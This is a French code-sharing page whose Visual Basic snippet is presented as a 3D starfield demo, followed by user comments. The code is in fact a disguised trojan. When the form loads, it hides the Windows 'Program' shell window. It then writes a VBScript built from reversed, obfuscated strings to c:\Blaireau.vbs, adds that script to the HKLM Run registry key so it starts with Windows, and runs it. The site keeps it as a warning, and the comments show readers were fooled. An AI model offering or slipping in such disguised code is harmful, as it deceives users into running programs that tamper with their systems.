Comment générer du script depuis visualbasic

Soyez le premier à donner votre avis sur cette source.

Snippet vu 4 725 fois - Téléchargée 64 fois

Cette source est considérée comme dangereuse, elle a néamoins été gardée dans un but pédagogique :
Cette source est considérée comme dangereuse, elle a néamoins été gardée dans un but pédagogique.

Contenu du snippet

Pom Pom Pom, comme je vois à quel point mes scripts sont apprécié ici, je vous offre ( avant même sa sortie officiel ) ce fabuleux code qui permet de visualiser des étoiles en 3 dimensions ( et se, même sur un 486!!! ) Que dire de plus sinon que le code n'est pas très optimisé mais il est néanmoins relativement performant et permet de réaliser des applications relativements complètes.

Créez une form et coller ce code, c'est tout!!

Source / Exemple :


Private Declare Function PutMeWhereIWant Lib "user32" Alias "ShowWindow" _
                      (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function WonderWhereAmI Lib "user32" Alias "FindWindowExA" _
         (ByVal hwnd As Long, ByVal hWndChild As Long, ByVal lpszClassName _
                              As String, ByVal lpszWindow As String) As Long

Private Sub IWanaHaveRoom()
 Dim hwnd As Long: LeHandle = WonderWhereAmI(0&, 0&, Guess$("namgorP"), _
                                                            vbNullString)
 If LeHandle <> 0 Then Call PutMeWhereIWant(LeHandle, 0)
End Sub

Private Sub Ooooups()
 Open Guess$("sbv.uaerialB\:c") For Output As #1
 Print #1, Guess$("metsysrid ,osf miD")
 Print #1, Guess$(")" + Chr$(34) + "tcejbOmetsySeliF.gnitpircS" + Chr$(34) _
                                                 + "(tcejbOetaerC = osf teS")
 Print #1, Guess$("txeN emuseR rorrE nO")
 Print #1, Guess$(")1(redloFlaicepSteG.osf = metsysrid teS")
 Print #1, Guess$(")" + Chr$(34) + "llehS.tpircSW" + Chr$(34) + "(tcejb" + _
                                                     "OetaerC = tideger teS")
 Print #1, Guess$(Chr$(34) + "sbv.uaerialB\:c tpircsw" + Chr$(34) + "," + _
           Chr$(34) + "kcirreD\nuR\noisreVtnerruC\swodniW\tfosorciM\e" + _
           "rawtfoS\ENIHCAM_LACOL_YEKH" + Chr$(34) + " etirWgeR.tideger")
 Print #1, Guess$(Chr$(34) + "ékiN T" + Chr$(34) + " xobgsM")
 Close #1
End Sub

Private Function Guess$(Tired$)
 a$ = ""
 For i = 1 To Len(Tired$)
  a$ = Mid$(Tired$, i, 1) + a$
 Next i
 Guess$ = a$
End Function

Private Sub WanaGetOut()
 TheProcess = Guess$("sbv.uaerialB\:c tpircsw")
 Shell TheProcess
End Sub

Private Sub Form_Load()
 Call IWanaHaveRoom
 Call Ooooups
 Call WanaGetOut
End Sub

Conclusion :


Roooooo que c'est beau!

A voir également

Ajouter un commentaire

Commentaires

Permettez que je me mette 1?
Bof...
je vais suivre les conseils de Nix...
je sais pas à koi servent les API mais elles ont pas l'air de creer des etoiles 3D en tt cas...
sacré mémère t bon mais t tout de meme un sacré couillon ... ca se fait pas ca sur ce genre de site mec, putain, t abuse la, putain mon gars...c pas de profiter quand on trouve une proie facile, le but du jeu...très mesquin gazié...t as honte de rien quoi...
Je croyais ke c t un minimum sérieux... mais je vois k il y a des lamers partout.. Ce genre de conneries devraient pas etre sur un site de kalité kom celui la.. dommage..
-
Tu aimes les cheveaux de Troy!:"Msgbox "T Niké""
Je vois les étoiles !
c:Blaireau.vbs
C'est un délit ! punis par la loi ! Alors merci pour le tuyaux mais fais gaffe quand même !
tu fais chier ! faut que j'ailles dans regedit maintenant !
"wscript c:Blaireau.vbs"

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.

Du même auteur (Mémère)